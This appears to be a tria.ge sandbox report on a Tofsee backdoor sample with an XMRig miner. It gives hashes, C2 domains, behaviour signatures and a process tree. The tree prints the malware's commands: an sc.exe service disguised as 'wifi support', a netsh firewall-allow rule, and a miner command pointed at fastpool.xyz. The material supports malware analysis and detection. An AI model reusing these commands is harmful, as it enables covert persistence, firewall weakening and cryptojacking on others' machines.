Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 16:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9.exe

  • Size

    297KB

  • MD5

    5ce137b77c0ae2a228aea8d34e92d733

  • SHA1

    8df33b79f10b6c3d8318268d7c2642b4c2909708

  • SHA256

    f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9

  • SHA512

    9d229ab543ab6021276c0bea4455701bd0b2068db607549ab8c75021345247bf8b067e2573a506da3273b8f196c5cda5c2a6b2dcd2ede005ef69cfa92fc11eca

  • SSDEEP

    6144:ea1YLNQoI1soZhr5xLfnMwiv58xQ3xDPkMo5zXbAc:r1YpQwoX5xzvQ58xaxDPyrbA

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9.exe
    "C:\Users\Admin\AppData\Local\Temp\f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\evsjrwzz\
      2⤵
        PID:1184
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\apdatzvy.exe" C:\Windows\SysWOW64\evsjrwzz\
        2⤵
          PID:3976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create evsjrwzz binPath= "C:\Windows\SysWOW64\evsjrwzz\apdatzvy.exe /d\"C:\Users\Admin\AppData\Local\Temp\f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description evsjrwzz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start evsjrwzz
          2⤵
          • Launches sc.exe
          PID:2356
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 1212
          2⤵
          • Program crash
          PID:2708
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4300 -ip 4300
        1⤵
          PID:4568
        • C:\Windows\SysWOW64\evsjrwzz\apdatzvy.exe
          C:\Windows\SysWOW64\evsjrwzz\apdatzvy.exe /d"C:\Users\Admin\AppData\Local\Temp\f1beba92cf4e4e9ec752111dd7aec6ae601d433a3e29be8a10f8da5c4b5f70f9.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:996
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3348
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 452 -s 528
            2⤵
            • Program crash
            PID:4688
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 452 -ip 452
          1⤵
            PID:4012

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\apdatzvy.exe
            Filesize

            11.7MB

            MD5

            599269906485483d2a76db2dddcd13f6

            SHA1

            79b332aa9cc791fc3a82fb64fc27cc9d04cce461

            SHA256

            2ae39fb1897ddc34a9b39022abf37e944bb6bfae8a509670f19f9640f2321b58

            SHA512

            e099206c778672d11407a51f79b84e8bec95e747a334741acbc7787ceca6572e3cbecf3e86f89959df185fba789320bbd5a1ba1dad51f543eb18172a421f2a56

            Download Submit

          • C:\Windows\SysWOW64\evsjrwzz\apdatzvy.exe
            Filesize

            11.7MB

            MD5

            599269906485483d2a76db2dddcd13f6

            SHA1

            79b332aa9cc791fc3a82fb64fc27cc9d04cce461

            SHA256

            2ae39fb1897ddc34a9b39022abf37e944bb6bfae8a509670f19f9640f2321b58

            SHA512

            e099206c778672d11407a51f79b84e8bec95e747a334741acbc7787ceca6572e3cbecf3e86f89959df185fba789320bbd5a1ba1dad51f543eb18172a421f2a56

            Download Submit

          • memory/452-150-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

            Download

          • memory/452-149-0x00000000005AA000-0x00000000005BF000-memory.dmp

            Filesize

            84KB

            Download

          • memory/996-159-0x0000000001F40000-0x0000000001F50000-memory.dmp

            Filesize

            64KB

            Download

          • memory/996-146-0x00000000009B0000-0x00000000009C5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/996-168-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/996-165-0x0000000007780000-0x0000000007B8B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/996-162-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/996-156-0x0000000001F30000-0x0000000001F36000-memory.dmp

            Filesize

            24KB

            Download

          • memory/996-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/996-152-0x00000000009B0000-0x00000000009C5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/996-151-0x00000000009B0000-0x00000000009C5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3348-177-0x0000000001240000-0x0000000001331000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3348-172-0x0000000001240000-0x0000000001331000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4300-143-0x000000000066F000-0x0000000000684000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4300-132-0x000000000066F000-0x0000000000684000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4300-134-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

            Download

          • memory/4300-144-0x0000000000400000-0x000000000044E000-memory.dmp

            Filesize

            312KB

            Download

          • memory/4300-133-0x00000000005A0000-0x00000000005B3000-memory.dmp

            Filesize

            76KB

            Download